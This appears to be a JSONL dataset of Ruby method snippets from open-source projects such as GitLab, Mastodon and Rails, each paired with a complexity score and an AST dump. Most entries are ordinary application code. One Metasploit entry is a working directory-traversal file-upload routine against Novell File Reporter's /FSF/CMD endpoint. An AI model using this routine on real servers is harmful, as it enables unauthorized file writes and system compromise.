{"repo_name":"rubocop","file_path":"./repos/rubocop/spec/support/cops/module_must_be_a_class_cop.rb","start_line":9,"raw_source":"def on_module(node)\n          add_offense(node, message: 'Module must be a Class') do |corrector|\n            corrector.replace(node.loc.keyword, 'class')\n          end\n        end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_module\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Module must be a Class\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},{\"type\":\"str\",\"children\":[\"class\"]}]}]}]}","id":"3db8248e-0520-4cd0-9285-8d16b4116680"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":889,"raw_source":"def ensure_note_type_can_be_confidential\n    return unless confidential?\n    return if NON_DIFF_NOTE_TYPES.include?(type)\n\n    errors.add(:confidential, _('can not be set for this type of note'))\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_note_type_can_be_confidential\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confidential?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NON_DIFF_NOTE_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"can not be set for this type of note\"]}]}]}]}]}","id":"f197bdde-e586-476a-a2b2-5e8f64475fa3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/cloud_seed/google_cloud/generate_pipeline_service.rb","start_line":83,"raw_source":"def append_remote_include(gitlab_ci_yml, include_url)\n        stages = gitlab_ci_yml['stages'] || []\n        gitlab_ci_yml['stages'] = if action == ACTION_VISION_AI_PIPELINE\n                                    (stages + %w[validate detect render]).uniq\n                                  else\n                                    (stages + %w[build test deploy]).uniq\n                                  end\n\n        includes = gitlab_ci_yml['include'] || []\n        includes = Array.wrap(includes)\n        includes << { 'remote' => include_url }\n        gitlab_ci_yml['include'] = includes.uniq\n\n        gitlab_ci_yml.deep_stringify_keys.to_yaml\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"append_remote_include\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gitlab_ci_yml\"]},{\"type\":\"arg\",\"children\":[\"include_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stages\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_ci_yml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"stages\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_ci_yml\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"stages\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ACTION_VISION_AI_PIPELINE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stages\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"validate\"]},{\"type\":\"str\",\"children\":[\"detect\"]},{\"type\":\"str\",\"children\":[\"render\"]}]}]}]},\"uniq\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stages\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"build\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"deploy\"]}]}]}]},\"uniq\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"includes\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_ci_yml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"include\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"includes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"includes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"includes\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"remote\"]},{\"type\":\"lvar\",\"children\":[\"include_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_ci_yml\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"include\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"includes\"]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_ci_yml\"]},\"deep_stringify_keys\"]},\"to_yaml\"]}]}]}","id":"7b0a0344-018e-4412-9614-97db3cb3f5d8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20240720140205_drop_end_to_end_message_tables.rb","start_line":4,"raw_source":"def up\n    drop_table :system_keys\n    drop_table :one_time_keys\n    drop_table :encrypted_messages\n    drop_table :devices\n    safety_assured { remove_column :accounts, :devices_url }\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"system_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"one_time_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"encrypted_messages\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"devices\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"devices_url\"]}]}]}]}]}","id":"c8976695-fc1a-4040-8c6a-5b045f6df361"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/oauth/applications/set_attributes_service.rb","start_line":49,"raw_source":"def set_default_owner\n        model.owner = user\n        model.owner_type = \"User\"\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_owner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"owner=\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"owner_type=\",{\"type\":\"str\",\"children\":[\"User\"]}]}]}]}","id":"3804b7c0-1808-4a39-8338-1260a36bef10"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/build.rb","start_line":114,"raw_source":"def none_of_except?\n            @except.none? { |spec| spec.satisfied_by?(@pipeline, evaluate_context) }\n          end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"none_of_except?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@except\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"satisfied_by?\",{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},{\"type\":\"send\",\"children\":[null,\"evaluate_context\"]}]}]}]}","id":"1fee59ad-efdd-4708-9e02-4e1c8fe5950c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/api/v1/lists_spec.rb","start_line":182,"raw_source":"def change_list_exclusive\n      change { list.reload.exclusive }.from(false).to(true)\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change_list_exclusive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list\"]},\"reload\"]},\"exclusive\"]}]},\"from\",{\"type\":\"false\",\"children\":[]}]},\"to\",{\"type\":\"true\",\"children\":[]}]}]}","id":"b59f3d2e-25d2-4057-b4f7-a02e26ade6e1"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/server/broadcasting.rb","start_line":48,"raw_source":"def initialize(server, broadcasting, coder:)\n            @server, @broadcasting, @coder = server, broadcasting, coder\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]},{\"type\":\"arg\",\"children\":[\"broadcasting\"]},{\"type\":\"kwarg\",\"children\":[\"coder\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server\"]},{\"type\":\"ivasgn\",\"children\":[\"@broadcasting\"]},{\"type\":\"ivasgn\",\"children\":[\"@coder\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},{\"type\":\"lvar\",\"children\":[\"broadcasting\"]},{\"type\":\"lvar\",\"children\":[\"coder\"]}]}]}]}","id":"9eaaf091-6040-4374-94e5-7261f330c43d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/base_services/base_callable.rb","start_line":69,"raw_source":"def assign_state\n      yield.tap do |service_result|\n        service_result.state = state\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"state=\",{\"type\":\"send\",\"children\":[null,\"state\"]}]}]}]}","id":"bab69d8a-eaab-444b-b6bd-1d0f258f506a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/packages/maven.rb","start_line":25,"raw_source":"def extract_format(file_name, skip_fips_check: false)\n          name, _, format = file_name.rpartition('.')\n\n          if %w[md5 sha1].include?(format)\n            unprocessable_entity! if !skip_fips_check && Gitlab::FIPS.enabled? && format == 'md5'\n\n            [name, format]\n          else\n            [file_name, format]\n          end\n        end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"skip_fips_check\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"format\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},\"rpartition\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"md5\"]},{\"type\":\"str\",\"children\":[\"sha1\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_fips_check\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"FIPS\"]},\"enabled?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"==\",{\"type\":\"str\",\"children\":[\"md5\"]}]}]},{\"type\":\"send\",\"children\":[null,\"unprocessable_entity!\"]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}","id":"885d7096-702d-4f79-8bbb-00f53f46d1b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/analytics_instrumentation.rb","start_line":136,"raw_source":"def prohibit_key_path_changes!\n        modified_config_files.each do |filename|\n          helper.changed_lines(filename).each do |mod_line, _i|\n            next unless /^-\\s*key_path:.*$/.match?(mod_line)\n\n            add_suggestion(\n              filename: filename,\n              regex: /key_path/,\n              comment_text: 'Key path is changed. This is an extremely dangerous action and can lead to data loss. See the [metrics lifecycle](https://docs.gitlab.com/development/internal_analytics/metrics/metrics_lifecycle/#change-an-existing-metric) for more information'\n            )\n          end\n        end\n      end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"prohibit_key_path_changes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modified_config_files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"changed_lines\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod_line\"]},{\"type\":\"arg\",\"children\":[\"_i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^-\\\\s*key_path:.*$\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"mod_line\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_suggestion\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"key_path\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment_text\"]},{\"type\":\"str\",\"children\":[\"Key path is changed. This is an extremely dangerous action and can lead to data loss. See the [metrics lifecycle](https://docs.gitlab.com/development/internal_analytics/metrics/metrics_lifecycle/#change-an-existing-metric) for more information\"]}]}]}]}]}]}]}]}","id":"2d2645ea-510a-4f88-b83c-e301a3321e29"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":1429,"raw_source":"def ci_pipelines\n    if builds_enabled?\n      super\n    else\n      super.external\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ci_pipelines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"builds_enabled?\"]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"external\"]}]}]}","id":"8f18492e-d21a-4d60-a9e7-46a2209e4928"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/inflector/inflections.rb","start_line":61,"raw_source":"def add(words)\n          words = words.flatten.map(&:downcase)\n          @members.concat(words)\n          @pattern = nil\n          self\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"words\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"flatten\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@members\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"words\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pattern\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"221da59f-0548-42db-88ba-0df6c09b2c2b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/manageiq/providers/inventory/persister/helpers/spec_parsed_data.rb","start_line":88,"raw_source":"def orchestration_stack_resource_data(i, data = {})\n    {\n      :ems_ref           => \"stack_resource_physical_resource_#{i}\",\n      :name              => \"stack_resource_name_#{i}\",\n      :logical_resource  => \"stack_resource_logical_resource_#{i}\",\n      :physical_resource => \"stack_resource_physical_resource_#{i}\",\n    }.merge(data)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"orchestration_stack_resource_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_ref\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stack_resource_physical_resource_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stack_resource_name_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logical_resource\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stack_resource_logical_resource_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"physical_resource\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stack_resource_physical_resource_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"3adbe538-dd9e-4482-bb05-a825bea76c81"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb","start_line":127,"raw_source":"def upload_file(filename, content)\n    traversal = \"..\\\\\" * datastore['DEPTH']\n    traversal << filename\n\n    record = \"<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>\"\n    md5 = Rex::Text.md5(\"SRS\" + record + \"SERVER\").upcase\n    message = md5 + record\n\n    res = send_request_cgi(\n      {\n        'uri' => '/FSF/CMD',\n        'version' => '1.1',\n        'method' => 'POST',\n        'ctype' => \"text/xml\",\n        'data' => message\n      }\n    )\n\n    if res and res.code == 200 and res.body.include? \"<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>\"\n      print_warning(\"File successfully uploaded: #{filename}\")\n    else\n      print_error(\"Failed to upload the file\")\n      return false\n    end\n\n    true\n  end","complexity_score":27.75,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"traversal\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"..\\\\\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"traversal\"]}]},{\"type\":\"str\",\"children\":[\"</FILE><![CDATA[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"]]></RECORD>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SRS\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"SERVER\"]}]}]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/FSF/CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File successfully uploaded: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to upload the file\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"9d8e9516-f854-4b86-b246-620094cc56ab"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20250127145305_clean_unused_embedding_search_indexes.rb","start_line":3,"raw_source":"def up\n    existing_definitions =\n      DB.query(\"SELECT id, dimensions FROM embedding_definitions WHERE id <= 8\")\n\n    drop_statements =\n      (1..8)\n        .reduce([]) do |memo, model_id|\n          model = existing_definitions.find { |ed| ed&.id == model_id }\n\n          if model.blank? || !correctly_indexed?(model)\n            embedding_tables.each do |type|\n              memo << \"DROP INDEX IF EXISTS ai_#{type}_embeddings_#{model_id}_1_search_bit;\"\n            end\n          end\n\n          memo\n        end\n        .join(\"\\n\")\n\n    DB.exec(drop_statements) if drop_statements.present?\n\n    amend_statements =\n      (1..8)\n        .reduce([]) do |memo, model_id|\n          model = existing_definitions.find { |ed| ed&.id == model_id }\n\n          memo << amended_idxs(model) if model.present? && !correctly_indexed?(model)\n\n          memo\n        end\n        .join(\"\\n\")\n\n    DB.exec(amend_statements) if amend_statements.present?\n  end","complexity_score":56.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_definitions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"str\",\"children\":[\"SELECT id, dimensions FROM embedding_definitions WHERE id <= 8\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"drop_statements\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]},\"reduce\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memo\"]},{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_definitions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ed\"]},\"id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correctly_indexed?\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},\"!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"embedding_tables\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS 